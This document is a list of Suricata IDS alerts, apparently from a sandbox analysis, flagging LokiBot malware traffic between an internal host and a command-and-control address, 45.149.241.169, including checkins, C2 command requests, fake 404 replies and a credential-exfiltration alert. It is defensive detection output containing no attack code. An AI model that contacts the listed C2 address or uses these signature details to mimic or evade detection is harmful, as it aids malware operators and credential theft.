Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49758 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49758 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49764
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49739 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49742 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49758 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49742 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49739 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49737 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49754 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49749 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49742
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49757 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49741
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49744
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49721 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49719 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49719 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49719
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49788 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49788 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49788 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49720 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49788 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49788 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49743 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49743 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49733
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49758 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49743 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49722 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49755 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49743 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49754 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49751 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49758
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49751 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49751 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49797 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49725
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49732 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49795 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49795 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49732 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49795 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49736 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49721 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49736 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49767
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49751 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49788
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49751 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49781 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49720
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49800 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49736 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49800 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49800 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49743
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49736 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49754 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49737 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49800 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49800 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49773 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49755 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49751
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49755 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49774 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49774 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49774 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49795 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49723 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49795 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49715 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49739 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49754 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49732 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49721
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49781 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49754 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49804 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49732 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49732 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49800
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49792 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49723 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49737 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49774 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49723 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49755 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49755 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49732
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49737 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49738 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49739 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49737 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49804 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49739 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49773 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49770 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49729 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.10:49707 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49797 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49736
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49797 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49749 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49722 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49738 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49722 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49738 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49754
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49722 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49715 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49757
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49715 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49804 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49773 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49771 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49771 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49773 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49770 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49773 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49770 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49771 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49805 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49805 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49805 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49729 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49749
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49802 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49729 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49738 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49755
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49722 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49759 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49759 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49729 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49740 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49729 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49728 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49728 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49728 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49772 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49774 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49772 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49781 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49770 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49795
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49770 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49803 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49804 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49804 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49794 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49794 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49794 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49804
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49775 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49775 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49775 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49739
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49770
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49775 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49775 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49781 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49781 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49776 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49776 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49776 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49802 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49802 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49776 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49776 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49802 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49802 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49779 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49779 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49771 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49779 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49798 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49759 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49771 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49798 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49798 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49779 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49779 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49740 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49740 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49729
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49772 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49798 -> 45.149.241.169:80
